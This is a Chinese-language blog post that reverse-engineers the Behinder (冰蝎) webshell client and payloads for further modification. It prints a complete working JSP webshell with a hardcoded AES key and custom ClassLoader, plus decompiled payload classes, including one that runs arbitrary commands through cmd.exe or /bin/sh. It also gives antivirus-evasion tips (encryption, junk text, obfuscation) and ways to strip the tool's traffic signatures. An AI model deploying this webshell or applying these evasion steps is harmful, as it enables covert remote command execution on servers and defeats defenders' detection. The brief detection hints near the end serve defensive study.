在攻防中,behinder被大范围使用,其加密性和隐蔽性均得到认可,但是同样也被各大杀毒厂商标记,本文从behinder的webshell到原理进行一个简单的解析,便于二开(如有错误,恳请指正)
一 冰蝎WebShell
Jsp
冰蝎通过继承classloader,并且重定义defineClass来实现加载任意字节码的目的,下面调用了字节码实例化的对象中的equals方法(之后会看到)
这里的默认密钥是rebeyond md5的前16位(已经成为被标记重点)
PHP
方式类似,最终执行了eval
抓一段流量看一下
webshell免杀的思路
1添加各种加解密,如rot13,凯撒密码,AES
2 增加垃圾字,混淆
3 寻找小众函数
推荐一个混淆网站
https://enphp.djunny.com/
二 behinder代码分析
doConnect
整体使用JavaFx进行图形化的实现
通过定位关键字的方式,可以找到这个位置
打开了MainWindow.fxml,找到对应的MainWindowCrontroller
打开窗口时会自动调用initControls方法,上面是对一些标签的定义,看这个doConnect
调用到这里,生成了一个随机字符串,然后进入了echo方法发起连接和获取结果
这里有两个主要的工作
getData()
doRequestAndParse()
将生成的随机字符串放到一个map中,进入getData()
getData调用到utils里的getData,继续跟入这个Params.getParamedClass
这里又有两个方法
首先是getTransProtocoleaClass,通过javassist创建了一个payload对象,并且返回了对应字节码
相关注释已经写到图片中,可以看到获取的是net.rebeyond.behinder.payload.java.Echo
getParamedClass方法看不太懂,先略过
回到getData()中,下面调用了Encrty对Echo这个字节码进行了加密
基本getData的流程就走完了,获取了Echo这个类字节码,进行了一些方法的操作,最后加密字节码
然后看看doRequestAndParse(),这个跟下去可以看到就是通过OkHttp库发送了post请求
之后shellservice获得响应并且解密,拿到里面的msg
最后返回doConnect,将msg和content进行比较,如果正确继续进行后续操作
当然为了更好理解冰蝎的逻辑,我们可以改写webshell,拿到被控端具体的equals方法都做了什么
https://cloud.tencent.com/developer/article/2362139
这里可以直接用大佬的
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%@ page import="java.io.FileOutputStream" %> <%! class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b) { return super.defineClass(b,0,b.length); } } %> <% if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); String line = request.getReader().readLine(); byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line); byte[] b1 = c.doFinal(b); FileOutputStream fo = new FileOutputStream("D:\\TestData\\1.class"); fo.write(b1); U u = new U(this.getClass().getClassLoader()); Class clazz = u.g(b1); clazz.newInstance().equals(pageContext); } %>
复制一份过来生成的class看看
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.uixmp; import java.lang.reflect.Method; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Fekxz { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; public Fekxz() { content = ""; content = content + "O9CVU0Y3H1zpF69hQTar4vlhWLPJjwR23EzmqeUPTZJMts9FHbXQScssGEXuzk8Mmd2hxJuvZpMfP4nkrkrmhXnt2zTEyAur9OZGJL1gth5GfrEMtllQBmYFouoXECv94vfLFhPI7yhpvDXB9QfBaGJtpoMbn2uxAxTkPyByyIE0atXwdxFaJlhAMj7V4VAurE39Y13l26wzQf8VkEQN0gpOUpUV0y9qlqZn6Zop7e0IcqULhlfw2X9hci9xrFjeHcZU8zdlcMJfSE085iWpyBkg1ksUuYvdkViYUtSSnQzrUPI3GNt4QFeQI9Ui57Mgln"; super(); } public boolean equals(Object obj) { LinkedHashMap result = new LinkedHashMap(); boolean var13 = false; Object so; Method write; Exception var15; label95: { try { var13 = true; this.fillContext(obj); result.put("status", "success"); result.put("msg", content); var13 = false; break label95; } catch (Exception var19) { var15 = var19; result.put("msg", var15.getMessage()); result.put("status", "success"); var13 = false; } finally { if (var13) { try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var17) { Exception var14 = var17; var14.printStackTrace(); } } } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { var15 = var16; var15.printStackTrace(); } return true; } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var18) { var15 = var18; var15.printStackTrace(); } return true; } private String buildJson(Map entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = (String)entity.get(key); if (encode) { value = this.base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result = ""; String version = System.getProperty("java.version"); Class Base64; try { this.getClass(); Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable var7) { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data); result = result.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for(int i = 0; i < buf.length; ++i) { buf[i] = (byte)random.nextInt(256); } return buf; } private byte[] Encrypt(byte[] var1) throws Exception { String var2 = "e45e329feb5d925b"; byte[] var3 = var2.getBytes("utf-8"); SecretKeySpec var4 = new SecretKeySpec(var3, "AES"); Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var5.init(1, var4); byte[] var6 = var5.doFinal(var1); Class var7; try { var7 = Class.forName("java.util.Base64"); Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null); var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6); } catch (Throwable var12) { var7 = Class.forName("sun.misc.BASE64Encoder"); Object var10 = var7.newInstance(); String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6); var11 = var11.replace("\n", "").replace("\r", ""); var6 = var11.getBytes(); } return var6; } }
Ai帮忙写的
- public boolean equals(Object obj):重写Object类的equals方法,用于比较对象。这个方法使用反射和异常处理来填充上下文,并构建一个JSON响应。它还尝试加密JSON响应并写入响应流。
- private String buildJson(Map entity, boolean encode):构建一个JSON字符串,根据encode参数决定是否对值进行Base64编码。
- private void fillContext(Object obj):根据传入的对象类型(可能是PageContext或Map),填充Request、Response和Session对象。
- private String base64encode(byte[] data):使用Java 8的java.util.Base64或Java 7及以下的sun.misc.BASE64Encoder对数据进行Base64编码。
- private byte[] getMagic():生成一个随机的“魔术”字节数组,可能用于加密操作。
- private byte[] Encrypt(byte[] var1):使用AES加密算法对数据进行加密,并可能将其转换为Base64编码的字符串。
具体就是生成一个msg是content的响应,加密返回
连接流程:
1 生成随机字符串
2 使用javassist生成Echo类字节码
3 加密后发送到shell端
4 shell端进行解密,通过classload加载类并且实例化,调用equals
5 返回响应信息
6 对比返回的msg和content是否一致,一致则表明连接成功
Cmd
只看doConnect部分还是有些不是特别清晰,还可以看一些Cmd这块的流程
找到对应CmdViewController
继续往下走还是走到ShellService,但是这次加载字节码的类变成了net.rebeyond.behinder.payload.java.Cmd
这次的加载的字节码文件
package com.rdisn.ilud.mgaaue; import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Method; import java.nio.charset.Charset; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Pqwje { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; public Pqwje() { cmd = ""; cmd = cmd + "cd /d \"E:\\java\\apache-tomcat-9.0.91-windows-x64\\apache-tomcat-9.0.91\\bin\\\"&dir"; path = ""; path = path + "E:/java/apache-tomcat-9.0.91-windows-x64/apache-tomcat-9.0.91/bin/"; super(); } public boolean equals(Object obj) { HashMap result = new HashMap(); boolean var13 = false; Object so; Method write; label95: { try { var13 = true; this.fillContext(obj); result.put("msg", this.RunCMD(cmd)); result.put("status", status); var13 = false; break label95; } catch (Exception var19) { Exception var17 = var19; result.put("msg", var17.getMessage()); result.put("status", "fail"); var13 = false; } finally { if (var13) { try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var17) { } } } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { } return true; } try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var18) { } return true; } private String RunCMD(String cmd) throws Exception { Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); String disr; for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; } br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); for(disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "\n"; } } return result; } private String base64encode(byte[] data) throws Exception { String result = ""; String version = System.getProperty("java.version"); Class Base64; try { this.getClass(); Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable var7) { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data); result = result.replace("\n", "").replace("\r", ""); } return result; } private String buildJson(Map entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator(); while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = ((String)entity.get(key)).toString(); if (encode) { Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for(int i = 0; i < buf.length; ++i) { buf[i] = (byte)random.nextInt(256); } return buf; } private byte[] Encrypt(byte[] var1) throws Exception { String var2 = "e45e329feb5d925b"; byte[] var3 = var2.getBytes("utf-8"); SecretKeySpec var4 = new SecretKeySpec(var3, "AES"); Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var5.init(1, var4); byte[] var6 = var5.doFinal(var1); Class var7; try { var7 = Class.forName("java.util.Base64"); Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null); var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6); } catch (Throwable var12) { var7 = Class.forName("sun.misc.BASE64Encoder"); Object var10 = var7.newInstance(); String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6); var11 = var11.replace("\n", "").replace("\r", ""); var6 = var11.getBytes(); } return var6; } }
msg 解码
命令执行流程
1 生成随机字符串
2 使用javassist生成Cmd类字节码
3 加密后发送到shell端
4 被控端进行解密,通过classload加载类并且实例化,调用equals
5 被控端将执行结果base64,放到msg中
6 拿到响应信息,解码输出
之后可以对整体的加密,和解密流程多套几层,但是花的时间较长,就先不搞了
三 去特征
Accept+userAgents
accept
这个特征还是比较明显的
application/json, text/javascript, */*; q=0.01
找到对应修改即可
还有就是内置的十余种Agent字段,均可自定义修改
流量长度+默认密钥
在做命令执行时,冰蝎的长度基本在10000以上,可以这种长度较长的流量进行默认密钥的AES128 ECB解密
参考文章:
https://cloud.tencent.com/developer/article/2362139
https://blog.csdn.net/2301_80064376/article/details/140279178